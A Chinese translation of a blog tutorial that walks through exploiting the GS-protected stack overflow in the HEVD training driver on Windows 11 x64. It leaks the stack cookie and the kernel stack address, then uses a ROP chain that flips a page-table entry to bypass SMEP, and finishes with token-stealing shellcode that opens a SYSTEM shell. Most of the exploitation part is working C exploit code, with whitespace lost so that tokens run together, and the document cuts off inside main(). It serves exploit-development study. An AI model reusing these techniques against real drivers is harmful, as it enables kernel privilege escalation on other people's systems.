Windows Kernel 栈溢出回归

admin 2025年4月2日23:41:57评论15 views字数 23208阅读77分21秒阅读模式

【翻译】0x09 - Return of the Windows Kernel Stack Overflow

现代 Windows 内核条件竞争 - Windows 11 (x64)

上一教程中,我们利用了整个行业中最臭名昭著的漏洞类型之一——条件竞争

在本教程中,我们将回到之前利用过的漏洞类型——栈溢出。然而,这次我们将遇到一种称为栈 cookies 或 canaries 的漏洞缓解措施。因此,我们将跳过 Windows 7 (x86),直接进入 Windows 11 (x64)。

需要注意的是,与安全漏洞相关的核心问题并没有改变,我们仍然要利用栈溢出。

让我们先来一个高层次的概述 Windows Kernel 栈溢出回归

目录

  • 什么是栈 Cookies(高层次)
  • 逆向工程
    • 制作 PoC
    • 缓解措施分析
  • 烘焙 Cookies
  • 漏洞利用
  • 参考资料

什么是栈 Cookies(高层次)

Cookies 可能是你最喜欢的甜食之一,但在网络安全领域,这通常是漏洞开发者用来指代一种旨在防止缓冲区溢出(也称为栈溢出)的安全缓解措施的术语。在深入技术细节之前,最好先通过一个高层次的概述来理解它。

想象一下,你刚刚参加了一个家庭聚会,并从商店带来了巧克力曲奇给大家吃。这些曲奇来自 REDACTED,所以每个人都很兴奋地想要品尝!

然而,你的姑姑明确表示:"每个人都必须在吃甜点之前吃完晚餐"。你并不知道,你的姑姑其实很嫉妒。你的曲奇已经成为了聚会的明星!由于你在到达前几小时就告诉她你会带这些曲奇,她烤了一批与 REDACTED的曲奇几乎无法区分的曲奇。

然而,她添加了一种额外的成分...

Windows Kernel 栈溢出回归

当大家都在专心吃晚餐时,你的姑姑把你带来的曲奇换成了她自己的。看起来她的 carne asada 将再次成为烧烤聚会的明星。

当大家吃完饭后,都去拿美味的巧克力曲奇。然而,看起来你姑姑的计划失败了,因为大家立刻尝到了葡萄干的味道,而 REDACTED 并不制作葡萄干曲奇!

这与漏洞缓解措施有什么关系?

  • 在这个场景中,你和你的家人就是栈/操作系统(OS),而曲奇就是栈 cookies(或 canary)。
  • 你的姑姑就是攻击者。
  • 曲奇交换可以被视为栈溢出。
  • 由于这些曲奇是独特的(巧克力曲奇),你和你的家人很容易就能识别出这些曲奇不是来自 REDACTED

这与漏洞缓解措施的工作原理非常相似。

你看,当你利用栈溢出时,你正在破坏内存,这包括变量、结构等。通过这种缓解措施,一个"cookie"或值被添加到栈中。

程序的工作方式是,当应用程序从函数调用返回并且执行被定向到返回地址时,应用程序将执行检查以确保 cookie(值)没有被破坏(假设缓解措施已启用)。如果应用程序或操作系统检测到该值被修改,通常操作系统或应用程序会崩溃——但不会以对攻击者有利的方式崩溃。

如果我们找不到避免这种情况发生的方法(例如使用泄漏),我们很可能无法利用这个漏洞。

当然,有很多方法可以绕过任何缓解措施,今天我们将做到这一点!

事实上,你可能已经在想"如果我们的姑姑使用巧克力曲奇而不是葡萄干会怎样"?

逆向工程

与之前的漏洞一样,我们需要在开始利用之前收集信息:IOCTL 代码(0x222007)和漏洞函数。这很容易发现,因为 HEVD 带有符号和方便命名的函数,所以我们可以更多地了解这些漏洞类型。

Windows Kernel 栈溢出回归

根据上面的反编译,我们不会处理任何自定义结构,这意味着我们可以继续查看 TriggerBufferOverflowStackGS 函数。

Windows Kernel 栈溢出回归

查看上面的反编译,我们可以看到 cookie 被存储在伪变量 local_38 中,然后在退出函数时调用 __security_check_cookie()。至于核心漏洞——我们知道这是一个普通的缓冲区溢出,基于 memcpy() 将任何缓冲区复制到伪代码数组变量 local_238[] 中。让我们继续制作一个概念验证(PoC),看看当我们触发这个漏洞时会发生什么。

制作 PoC

由于我们处理的是一个普通的栈溢出,没有必要过于复杂化。让我们来制作一个 PoC!

#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>/* IOCTL */#define STACK_OVERFLOW_GS_IOCTL 0x222007/* Exploit Settings */#define ALLOCATION_SIZE 0x1000/* GetKernelModuleBase():     Function used to obtain kernel module address */LPVOID GetKernelModuleBase(PCHAR pKernelModule){char pcDriver[1024]    = { 0 };  LPVOID lpvTargetDriver = NULL;  LPVOID *lpvDrivers     = NULL;  DWORD dwCB             = 0;  DWORD dwDrivers        = 0;  DWORD i                = 0;  EnumDeviceDrivers(NULL, dwCB, &dwCB);if (dwCB <= 0)returnNULL;  lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));if (lpvDrivers == NULL)returnNULL;if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))  {    dwDrivers = dwCB / sizeof(LPVOID);for (i = 0; i < dwDrivers; i++)if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))if (StrStrA(pcDriver, pKernelModule) != NULL)          lpvTargetDriver = lpvDrivers[i];  }free(lpvDrivers);return lpvTargetDriver;}/* CheckWin():     Simple function to check if we're running as SYSTEM */intCheckWin(VOID){  DWORD win = 0;  DWORD dwLen = 0;  CHAR *cUsername = NULL;  GetUserNameA(NULL, &dwLen);if (dwLen > 0) {    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));  } else {printf("[-] Failed to allocate buffer for username checkn");return-1;  }  GetUserNameA(cUsername, &dwLen);  win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* GenerateExploitBuffer():     Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvBuffer){size_t i = 0;uint64_t *payload = (uint64_t *)lpvBuffer;for (i = 0; i < ALLOCATION_SIZE; i += sizeof(uint64_t))    *payload++ = 0x41414141;return i;}/* Exploit():     Stack Overflow (GS) */intExploit(HANDLE hHEVD){  DWORD dwExploitBuffer = 0;  DWORD dwBytesReturned = 0;  LPVOID lpvMemoryAlloc = NULL;  lpvMemoryAlloc = VirtualAlloc(NULL,                                ALLOCATION_SIZE,                                (MEM_COMMIT | MEM_RESERVE),                                PAGE_EXECUTE_READWRITE);if (lpvMemoryAlloc == NULL)  {printf("[*] Failed to create exploitation buffern");return-1;  }  dwExploitBuffer = GenerateExploitBuffer(NULL, lpvMemoryAlloc);printf("[*] Exploit buffer size: %dn", dwExploitBuffer);  DeviceIoControl(hHEVD,                  STACK_OVERFLOW_GS_IOCTL,                  lpvMemoryAlloc,                  dwExploitBuffer,NULL,0x00,                  &dwBytesReturned,NULL);return CheckWin();}intmain(){  HANDLE hHEVD = NULL;  hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver",                      (GENERIC_READ | GENERIC_WRITE),0x00,NULL,                      OPEN_EXISTING,                      FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == NULL)  {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1;  }if (Exploit(hHEVD) == 0) {printf("[*] Exploitation success!!! Enjoy de shell!!nn");    system("cmd.exe");  } else {printf("[-] Exploitation failed, run againn");  }if (hHEVD != INVALID_HANDLE_VALUE) {    CloseHandle(hHEVD);  }}

发送后,我们得到了一个崩溃 Windows Kernel 栈溢出回归

Windows Kernel 栈溢出回归
然而,仔细观察崩溃情况,我们可以看到我们遇到了 stack cookie/canary 缓解机制。

缓解机制分析

查看 cookie 初始化,我们可以看到 __security_cookie 存储在 HEVD 的 HEVD+0x3000 处(我们也可以在 Ghidra 中确认这一点)。此外,我们可以看到__security_cookie将与当前存储在 RSP 中的值进行 XOR 运算。完成后,XOR 运算的结果存储在 RSP+0x220 处,这本质上是栈中的一个偏移量。在不进一步分析的情况下,我们可以假设如果覆盖存储在 RSP+0x220 处的值,就会触发缓解机制。

Windows Kernel 栈溢出回归

如果我们重新启动 exploit 并在 TriggerBufferOverflowStackGS 开始时中断,我们可以确认 cookie 存储在 HEVD 的内存中:

Windows Kernel 栈溢出回归

当我们进行到 XOR 操作时,我们进一步确认了这一点。如下所示,我们可以看到它只是当前的栈地址,而不是某种硬编码值。

Windows Kernel 栈溢出回归

如果我们再执行一步,我们可以看到存储在 RAX 中的这个新值将被放入栈中。如果我们恢复这个被破坏的值会怎样?

Windows Kernel 栈溢出回归

在分析如此大的缓冲区时,你可能会遇到问题,所以请将缓冲区大小减少到 0x900 字节。完成后,重新运行上述实验并运行 !analyze -v。这次 XOR 操作后的最终 cookie 是 ffff40da07033567,RSP+0x220 指向 fffe58347db76f0,这样我们可以在 HEVD+0x867b9 处设置断点。此时如果我们继续执行,可以看到我们进行了一次跳转,如果我们继续(我们不会),我们将最终调用__security_check_cookie() 函数。如果我们 dump 存储 cookie 的地址,可以看到我们已经破坏了它。然而,如果我们恢复它并继续...

我们就获得了对指令指针的控制 Windows Kernel 栈溢出回归

Windows Kernel 栈溢出回归

这为我们如何绕过这种缓解机制提供了一个扎实的高层次概述。

烘焙 Cookies

就像我们在 HEVD"课程"中编写的其他 exploit 一样,你可能会认为这就像获取 HEVD 的基地址并读取存储 cookie 的内存位置一样简单。然而,我们很快(固执地)发现情况并非如此。我们需要找到一个泄漏点,在我们的例子中,我们可以重用 Write-What-Where/Arbitrary Write 漏洞...

Windows Kernel 栈溢出回归

让我们编写一个 PoC 并进行测试。

#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>/* IOCTL */#define STACK_OVERFLOW_GS_IOCTL 0x222007#define ARBITRARY_WRITE_IOCTL 0x22200b/* Structure used by Write-What-Where */typedefstruct _WRITE_WHAT_WHERE{uint64_t *ullpWhat;uint64_t *ullpWhere;} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;/* Exploit Settings */#define ALLOCATION_SIZE 0x900/* GetKernelModuleBase():     Function used to obtain kernel module address */LPVOID GetKernelModuleBase(PCHAR pKernelModule){char pcDriver[1024]    = { 0 };  LPVOID lpvTargetDriver = NULL;  LPVOID *lpvDrivers     = NULL;  DWORD dwCB             = 0;  DWORD dwDrivers        = 0;  DWORD i                = 0;  EnumDeviceDrivers(NULL, dwCB, &dwCB);if (dwCB <= 0)returnNULL;  lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));if (lpvDrivers == NULL)returnNULL;if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))  {    dwDrivers = dwCB / sizeof(LPVOID);for (i = 0; i < dwDrivers; i++)if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))if (StrStrA(pcDriver, pKernelModule) != NULL)          lpvTargetDriver = lpvDrivers[i];  }free(lpvDrivers);return lpvTargetDriver;}/* CheckWin():     Simple function to check if we're running as SYSTEM */intCheckWin(VOID){  DWORD win = 0;  DWORD dwLen = 0;  CHAR *cUsername = NULL;  GetUserNameA(NULL, &dwLen);if (dwLen > 0) {    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));  } else {printf("[-] Failed to allocate buffer for username checkn");return-1;  }  GetUserNameA(cUsername, &dwLen);  win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* GenerateExploitBuffer():     Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvBuffer){size_t i = 0;uint64_t *payload = (uint64_t *)lpvBuffer;for (i = 0; i < ALLOCATION_SIZE; i += sizeof(uint64_t))    *payload++ = 0x41414141;return i;}/* WriteBytes():     Arbitrary write located in the TriggerArbitraryWrite() function */voidWriteBytes(HANDLE hHEVD, uint64_t* u64What, uint64_t* u64Where){  DWORD dwBytesReturned = 0;  WRITE_WHAT_WHERE www = { 0 };  www.ullpWhere = u64Where;  www.ullpWhat = u64What;printf("t[*] Writing 0x%p to 0x%pn", www.ullpWhat, www.ullpWhere);  DeviceIoControl(hHEVD,                  ARBITRARY_WRITE_IOCTL,                  &www,sizeof(WRITE_WHAT_WHERE),NULL,0x00,                  &dwBytesReturned,NULL);}/* LeakCookie():     Leverage the ARBITRARY_WRITE_IOCTL to write to our variable in Userland from     Kernel Land. */uint64_tLeakCookie(HANDLE hHEVD, LPVOID lpvHEVD){uint64_t cookie = 0;uint64_t *pu64Cookie = (uint64_t *)(lpvHEVD + 0x3000);printf("t[*] Cookie located @{0x%p}n", pu64Cookie);  WriteBytes(hHEVD, pu64Cookie, &cookie);printf("t[+] Cookie leaked: 0x%pn", cookie);return cookie;}/* Exploit():     Stack Overflow (GS) */intExploit(HANDLE hHEVD){uint64_t cookie = 0x00;  DWORD dwExploitBuffer = 0;  DWORD dwBytesReturned = 0;  LPVOID lpvMemoryAlloc = NULL;  LPVOID lpvHEVD = GetKernelModuleBase("HEVD");if (lpvHEVD == NULL) {printf("[-] Failed to obtain the base address of HEVDn");return-1;  }printf("[*] Base address of HEVD @{0x%p}n", lpvHEVD);printf("[*] Attempting to leak __security_cookien");  cookie = LeakCookie(hHEVD, lpvHEVD);---snip---}

成功启动后,我们成功泄露了 stack cookie!

Windows Kernel 栈溢出回归

然而,我们仍然需要泄露 stack...我一度陷入困境...直到我发现了Kristal-G的另一篇精彩文章,其中使用了sam-b的泄露方法,这非常有用。

让我们再次编写代码并测试它!

voidLeakStack(wchar_t *targetPoC){  HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));  PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");if (query == NULL) {printf("GetProcAddress() failed.n");exit(-1);  }  ULONG len = 2000;  NTSTATUS status = 0x00;  PSYSTEM_EXTENDED_PROCESS_INFORMATION pProcessInfo = NULL;do {    len *= 2;    pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);    status = query(SystemExtendedProcessInformation, pProcessInfo, len, &len);  } while (status == (NTSTATUS)0xc0000004);if (status != (NTSTATUS)0x0) {printf("NtQuerySystemInformation failed with error code 0x%Xn", status);exit(-1);  }while (pProcessInfo->NextEntryOffset != 0x00) {// Strangely I was able to do this with the pProcessInfo->ImageName.Buffer being NULL? if (StrStrW(pProcessInfo->ImageName.Buffer, targetPoC) != NULL || pProcessInfo->ImageName.Buffer == NULL) {printf("[*] Leaking stack from %lsn", targetPoC);for (unsignedint i = 0; i < pProcessInfo->NumberOfThreads; i++) {        LPVOID stackBase = pProcessInfo->Threads[i].StackBase;        LPVOID stackLimit = pProcessInfo->Threads[i].StackLimit;#ifdef _WIN64printf("tStack base 0x%ptStack limit 0x%pn", stackBase, stackLimit);#elseprintf("tStack base 0x%Xt", stackBase);printf("tStack limit 0x%Xrn", stackLimit);#endifbreak;      }    }if (!pProcessInfo->NextEntryOffset) {      pProcessInfo = NULL;    } else {      pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo + pProcessInfo->NextEntryOffset);    }  }}/* Exploit():     Stack Overflow (GS) */intExploit(HANDLE hHEVD){uint64_t cookie = 0x00;  DWORD dwExploitBuffer = 0;  DWORD dwBytesReturned = 0;  LPVOID lpvStackLeak = NULL;  LPVOID lpvMemoryAlloc = NULL;  LPVOID lpvHEVD = GetKernelModuleBase("HEVD");if (lpvHEVD == NULL) {printf("[-] Failed to obtain the base address of HEVDn");return-1;  }printf("[*] Base address of HEVD @{0x%p}n", lpvHEVD);printf("[*] Attempting to leak __security_cookien");  cookie = LeakCookie(hHEVD, lpvHEVD);  LeakStack(L"poc.exe");  getchar();---snip---}

从我们的源代码中可以看到,我们在获取目标进程时遇到了很多困难。这很奇怪,基本上我们最终发现pProcessInfor->ImageName.Buffer需要为 NULL。

我们可以通过 GDB 进一步确认这一点。

Windows Kernel 栈溢出回归

有了这些,我们应该已经具备了利用这个漏洞所需的一切 Windows Kernel 栈溢出回归

漏洞利用

以下是最终的 PoC 代码:

#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<wchar.h>#include<windows.h>#include<psapi.h>#include<shlwapi.h>typedef LONG KPRIORITY;typedefstruct _CLIENT_ID {  DWORD          UniqueProcess;  DWORD          UniqueThread;} CLIENT_ID;typedefstruct _UNICODE_STRING {  USHORT Length;  USHORT MaximumLength;#ifdef MIDL_PASS  [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;#else// MIDL_PASS  _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH   Buffer;#endif// MIDL_PASS} UNICODE_STRING;typedef UNICODE_STRING *PUNICODE_STRING;typedefconst UNICODE_STRING *PCUNICODE_STRING;//from http://boinc.berkeley.edu/android-boinc/boinc/lib/diagnostics_win.htypedefstruct _VM_COUNTERS {// the following was inferred by painful reverse engineering  SIZE_T                   PeakVirtualSize;     // not actually  SIZE_T         PageFaultCount;  SIZE_T         PeakWorkingSetSize;  SIZE_T         WorkingSetSize;  SIZE_T         QuotaPeakPagedPoolUsage;  SIZE_T         QuotaPagedPoolUsage;  SIZE_T         QuotaPeakNonPagedPoolUsage;  SIZE_T         QuotaNonPagedPoolUsage;  SIZE_T         PagefileUsage;  SIZE_T         PeakPagefileUsage;  SIZE_T         VirtualSize;           // not actually} VM_COUNTERS;typedefenum _KWAIT_REASON{  Executive = 0,  FreePage = 1,  PageIn = 2,  PoolAllocation = 3,  DelayExecution = 4,  Suspended = 5,  UserRequest = 6,  WrExecutive = 7,  WrFreePage = 8,  WrPageIn = 9,  WrPoolAllocation = 10,  WrDelayExecution = 11,  WrSuspended = 12,  WrUserRequest = 13,  WrEventPair = 14,  WrQueue = 15,  WrLpcReceive = 16,  WrLpcReply = 17,  WrVirtualMemory = 18,  WrPageOut = 19,  WrRendezvous = 20,  Spare2 = 21,  Spare3 = 22,  Spare4 = 23,  Spare5 = 24,  WrCalloutStack = 25,  WrKernel = 26,  WrResource = 27,  WrPushLock = 28,  WrMutex = 29,  WrQuantumEnd = 30,  WrDispatchInt = 31,  WrPreempted = 32,  WrYieldExecution = 33,  WrFastMutex = 34,  WrGuardedMutex = 35,  WrRundown = 36,  MaximumWaitReason = 37} KWAIT_REASON;typedefstruct _SYSTEM_THREAD_INFORMATION {  LARGE_INTEGER KernelTime;  LARGE_INTEGER UserTime;  LARGE_INTEGER CreateTime;  ULONG WaitTime;  PVOID StartAddress;  CLIENT_ID ClientId;  KPRIORITY Priority;  LONG BasePriority;  ULONG ContextSwitchCount;  ULONG ThreadState;  KWAIT_REASON WaitReason;#ifdef _WIN64  ULONG Reserved[4];#endif} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;typedefstruct _SYSTEM_EXTENDED_THREAD_INFORMATION{  SYSTEM_THREAD_INFORMATION ThreadInfo;  PVOID StackBase;  PVOID StackLimit;  PVOID Win32StartAddress;  PVOID TebAddress; /* This is only filled in on Vista and above */  ULONG Reserved1;  ULONG Reserved2;  ULONG Reserved3;} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION;typedefstruct _SYSTEM_EXTENDED_PROCESS_INFORMATION{  ULONG NextEntryOffset;  ULONG NumberOfThreads;  LARGE_INTEGER SpareLi1;  LARGE_INTEGER SpareLi2;  LARGE_INTEGER SpareLi3;  LARGE_INTEGER CreateTime;  LARGE_INTEGER UserTime;  LARGE_INTEGER KernelTime;  UNICODE_STRING ImageName;  KPRIORITY BasePriority;  ULONG ProcessId;  ULONG InheritedFromUniqueProcessId;  ULONG HandleCount;  ULONG SessionId;  PVOID PageDirectoryBase;  VM_COUNTERS VirtualMemoryCounters;  SIZE_T PrivatePageCount;  IO_COUNTERS IoCounters;  SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1];} SYSTEM_EXTENDED_PROCESS_INFORMATION, *PSYSTEM_EXTENDED_PROCESS_INFORMATION;typedefenum _SYSTEM_INFORMATION_CLASS {  SystemExtendedProcessInformation = 57} SYSTEM_INFORMATION_CLASS;typedefNTSTATUS(WINAPI *PNtQuerySystemInformation)(  __in SYSTEM_INFORMATION_CLASS SystemInformationClass,  __inout PVOID SystemInformation,  __in ULONG SystemInformationLength,  __out_opt PULONG ReturnLength);/* IOCTL */#define STACK_OVERFLOW_GS_IOCTL 0x222007#define ARBITRARY_WRITE_IOCTL 0x22200b/* Structure used by Write-What-Where */typedefstruct _WRITE_WHAT_WHERE{uint64_t *ullpWhat;uint64_t *ullpWhere;} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;/* Exploit Settings */#define ALLOCATION_SIZE 0x900/* GetKernelModuleBase():     Function used to obtain kernel module address */LPVOID GetKernelModuleBase(PCHAR pKernelModule){char pcDriver[1024]    = { 0 };  LPVOID lpvTargetDriver = NULL;  LPVOID *lpvDrivers     = NULL;  DWORD dwCB             = 0;  DWORD dwDrivers        = 0;  DWORD i                = 0;  EnumDeviceDrivers(NULL, dwCB, &dwCB);if (dwCB <= 0)returnNULL;  lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));if (lpvDrivers == NULL)returnNULL;if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))  {    dwDrivers = dwCB / sizeof(LPVOID);for (i = 0; i < dwDrivers; i++)if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))if (StrStrA(pcDriver, pKernelModule) != NULL)          lpvTargetDriver = lpvDrivers[i];  }free(lpvDrivers);return lpvTargetDriver;}/* CheckWin():     Simple function to check if we're running as SYSTEM */intCheckWin(VOID){  DWORD win = 0;  DWORD dwLen = 0;  CHAR *cUsername = NULL;  GetUserNameA(NULL, &dwLen);if (dwLen > 0) {    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));  } else {printf("[-] Failed to allocate buffer for username checkn");return-1;  }  GetUserNameA(cUsername, &dwLen);  win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* GenerateExploitBuffer():     Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvStackLeak, uint64_t cookie, LPVOID lpvBuffer){size_t j = 0;size_t i = 0;  LPVOID shellcode = NULL;uint64_t nt = (uint64_t)(lpvNt);uint64_tstack = (uint64_t)(lpvStackLeak);uint64_t *payload = (uint64_t *)(lpvBuffer);uint8_t sc[129] = {// sickle-tool -p windows/x64/kernel_token_stealer -f num (58 bytes)0x650x480xa10x880x010x000x000x000x000x000x000x480x8b0x800xb80x000x000x000x480x890xc10xb20x040x480x8b0x800x480x040x000x000x480x2d0x480x040x000x000x380x900x400x040x000x000x750xeb0x480x8b0x900xb80x040x000x000x480x890x910xb80x040x000x00,// sickle-tool -p windows/x64/kernel_sysret -f num (71)0x650x480xa10x880x010x000x000x000x000x000x000x660x8b0x880xe40x010x000x000x660xff0xc10x660x890x880xe40x010x000x000x480x8b0x900x900x000x000x000x480x8b0x8a0x680x010x000x000x4c0x8b0x9a0x780x010x000x000x480x8b0xa20x800x010x000x000x480x8b0xaa0x580x010x000x000x310xc00x0f0x010xf80x480x0f0x07 };  shellcode = VirtualAlloc(NULLsizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (shellcode == NULL)  {printf("[-] Failed to allocate memory for shellcoden");return-1;  }  RtlCopyMemory(shellcode, sc, 129);/* Adjust the stack pointer */stack -= 0xb30;printf("t[*] Writing stack cookie @{0x%p}n"stack);/* Overflow past the size of the buffer */for (i = 0; i < (512 / sizeof(uint64_t)); i++)  {    payload[i] = 0x4141414141414141;  }  payload[i++] = (stack ^ cookie); /* Stack Cookie *//* Offset to shellcode start */  payload[i++] = 0x4343434343434343;  payload[i++] = 0x4444444444444444;  payload[i++] = 0x4545454545454545;  payload[i++] = 0x4646464646464646;  payload[i++] = 0x4747474747474747;  payload[i++] = 0x4848484848484848;/* Prepare RDX register for later. This is needed for the XOR operation */  payload[i++] = nt + 0x40ed4e// pop rdx ; pop rax ; pop rcx ; ret  payload[i++] =      0x000008// Set RDX to 0x08, we will need this to accomplish the XOR  payload[i++] =      0x000000// [filler]  payload[i++] =      0x000000// [filler]/* Setup the call to MiGetPteAddress in order to get the address of the PTE for our     userland code. The setup is as follows:       RAX -> VOID *MiGetPteAddress(         ( RCX == PTE / Userland Code )       );     Once the call is complete RAX should contain the pointer to our PTE. */  payload[i++] = nt + 0x57699c;       // pop rcx ; ret  payload[i++] = (uint64_t)shellcode; // *shellcode  payload[i++] = nt + 0x24aaec;       // MiGetPteAddress()/* Now that we have obtained the PTE address, we can modify the 2nd bit in order to       mark the page as a kernel page (U -> K). We can do this using XOR ;) */  payload[i++] = nt + 0x30fcf3// sub rax, rdx ; ret  payload[i++] = nt + 0x54f344// push rax ; pop rbx ; ret  payload[i++] = nt + 0x40ed4e// pop rdx ; pop rax ; pop rcx ; ret  payload[i++] =      0x000004// 0x40ed4e: pop rdx ; pop rax ; pop rcx ; ret ; (1 found)  payload[i++] =      0x000000// [filler]  payload[i++] =      0x000000// [filler]  payload[i++] = nt + 0x3788b6// xor  [rbx+0x08], edx ; mov rbx, qword [rsp+0x60] ; add rsp, 0x40 ; pop r14 ; pop rdi ; pop rbp ; ret/* Now we cam spray our shellcode address since SMEP and VPS should be bypassed */for (j = 0; j < 0xC; j++) {    payload[i++] = (uint64_t)shellcode;  }printf("t[*] Generated %d bytes ...n", (i * sizeof(uint64_t)));return (i * sizeof(uint64_t));}/* WriteBytes():     Arbitrary write located in the TriggerArbitraryWrite() function */voidWriteBytes(HANDLE hHEVD, uint64_t* u64What, uint64_t* u64Where){  DWORD dwBytesReturned = 0;  WRITE_WHAT_WHERE www = { 0 };  www.ullpWhere = u64Where;  www.ullpWhat = u64What;printf("t[*] Writing 0x%p to 0x%pn", www.ullpWhat, www.ullpWhere);  DeviceIoControl(hHEVD,                  ARBITRARY_WRITE_IOCTL,                  &www,sizeof(WRITE_WHAT_WHERE),NULL,0x00,                  &dwBytesReturned,NULL);}/* LeakCookie():     Leverage the ARBITRARY_WRITE_IOCTL to write to our variable in Userland from     Kernel Land. */uint64_tLeakCookie(HANDLE hHEVD, LPVOID lpvHEVD){uint64_t cookie = 0;uint64_t *pu64Cookie = (uint64_t *)(lpvHEVD + 0x3000);printf("t[*] Cookie located @{0x%p}n", pu64Cookie);  WriteBytes(hHEVD, pu64Cookie, &cookie);printf("t[+] Cookie leaked: 0x%pn", cookie);return cookie;}voidLeakStack(wchar_t *targetPoC, LPVOID *lpvStackLeak){  HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));  PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");if (query == NULL) {printf("GetProcAddress() failed.n");exit(-1);  }  ULONG len = 2000;  NTSTATUS status = 0x00;  PSYSTEM_EXTENDED_PROCESS_INFORMATION pProcessInfo = NULL;do {    len *= 2;    pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);    status = query(SystemExtendedProcessInformation, pProcessInfo, len, &len);  } while (status == (NTSTATUS)0xc0000004);if (status != (NTSTATUS)0x0) {printf("NtQuerySystemInformation failed with error code 0x%Xn", status);exit(-1);  }  LPVOID stackBase = NULL;  LPVOID stackLimit = NULL;while (pProcessInfo->NextEntryOffset != 0x00) {// Strangely I was able to do this with the pProcessInfo->ImageName.Buffer being NULL? if (StrStrW(pProcessInfo->ImageName.Buffer, targetPoC) != NULL) {printf("[*] Leaking stack from %lsn", targetPoC);for (unsignedint i = 0; i < pProcessInfo->NumberOfThreads; i++) {        stackBase = pProcessInfo->Threads[i].StackBase;        stackLimit = pProcessInfo->Threads[i].StackLimit;#ifdef _WIN64printf("t[*] Stack base 0x%ptStack limit 0x%pn", stackBase, stackLimit);#elseprintf("t[*] Stack base 0x%XtStack limit 0x%Xn", stackBase, stackLimit);#endifbreak;      }    }if (!pProcessInfo->NextEntryOffset) {      pProcessInfo = NULL;    } else {      pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo + pProcessInfo->NextEntryOffset);    }  }  *lpvStackLeak = stackBase;}/* Exploit():     Stack Overflow (GS) */intExploit(HANDLE hHEVD){uint64_t cookie = 0x00;  DWORD dwExploitBuffer = 0;  DWORD dwBytesReturned = 0;  LPVOID lpvStackLeak = NULL;  LPVOID lpvMemoryAlloc = NULL;  LPVOID lpvHEVD = GetKernelModuleBase("HEVD");  LPVOID lpvNtKrnl = GetKernelModuleBase("ntoskrnl");if (lpvHEVD == NULL)  {printf("[-] Failed to obtain the base address of HEVDn");return-1;  }if (lpvNtKrnl == NULL)  {printf("[-] Failed to obtain the base address of ntoskrnln");return-1;  }printf("[*] Exploitation started....n");printf("[*] Base address of HEVD @{0x%p}n", lpvHEVD);printf("[*] Base address of NT @{0x%p}n", lpvNtKrnl);printf("[*] Attempting to leak __security_cookien");  cookie = LeakCookie(hHEVD, lpvHEVD);if (cookie == 0x00)  {printf("[-] Failed to leak stack cookien");  }/* I found I need to hammer the stack leak to get it to work :| */while (1) {    LeakStack(L"poc.exe", &lpvStackLeak);if (lpvStackLeak != NULL) {break;    }  }if (lpvStackLeak == NULL)  {printf("[-] Failed to leak stack addressn");return-1;  }  lpvMemoryAlloc = VirtualAlloc(NULL,                                ALLOCATION_SIZE,                                (MEM_COMMIT | MEM_RESERVE),                                PAGE_EXECUTE_READWRITE);if (lpvMemoryAlloc == NULL)  {printf("[*] Failed to create exploitation buffern");return-1;  }  dwExploitBuffer = GenerateExploitBuffer(lpvNtKrnl, lpvStackLeak, cookie, lpvMemoryAlloc);printf("[*] Sending payload!!!n", dwExploitBuffer);  DeviceIoControl(hHEVD,                  STACK_OVERFLOW_GS_IOCTL,                  lpvMemoryAlloc,                  dwExploitBuffer,NULL,0x00,                  &dwBytesReturned,NULL);return CheckWin();}intmain(){  HANDLE hHEVD = NULL;  hHEVD = 